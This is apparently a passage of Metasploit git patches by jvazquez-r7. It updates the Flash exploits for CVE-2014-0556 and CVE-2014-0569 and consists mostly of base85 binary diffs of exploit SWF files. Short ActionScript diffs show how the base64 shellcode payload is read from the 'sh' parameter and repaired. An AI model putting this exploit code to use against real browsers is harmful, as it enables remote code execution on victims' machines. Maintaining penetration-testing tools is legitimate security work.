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 diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as index 99364ccd47..98d79ea459 100755 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -27,8 +27,12 @@ package public function Main() { var b64:Base64Decoder = new Base64Decoder() - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - var payload:String = b64.toByteArray().toString() + + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + var payload:String = b64.toByteArray().toString() for (i = 0; i < bv.length; i++) { bv[i] = new ByteArray() From e0a1fa4ef6aa69b2d822c74970de35b371b4c01b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:38:56 -0500 Subject: [PATCH 0198/1013] Fix indentation --- data/exploits/CVE-2014-0556/msf.swf | Bin external/source/exploits/CVE-2014-0556/Main.as | 11 +++++------ 2 files changed, 5 insertions(+), 6 deletions(-) mode change 100644 => 100755 data/exploits/CVE-2014-0556/msf.swf diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100644 new mode 100755 diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as index 98d79ea459..da6482075c 100755 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -27,12 +27,11 @@ package public function Main() { var b64:Base64Decoder = new Base64Decoder() - - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - var payload:String = b64.toByteArray().toString() + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + var payload:String = b64.toByteArray().toString() for (i = 0; i < bv.length; i++) { bv[i] = new ByteArray() From d78d04e0701b1ca399213b000e3a3295f2ae7c42 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:49:22 -0500 Subject: [PATCH 0199/1013] Fix CVE-2014-0569 --- data/exploits/CVE-2014-0569/msf.swf | Bin 17933 -> 18021 bytes .../source/exploits/CVE-2014-0569/Main.as | 11 +++++++---- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf index 90737fca369ad0f015ceb51d7c44efa5fc4f30a1..a124c560f09b1a9ff03b1080ce13873cecc9d9d6 100755 GIT binary patch delta 17880 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 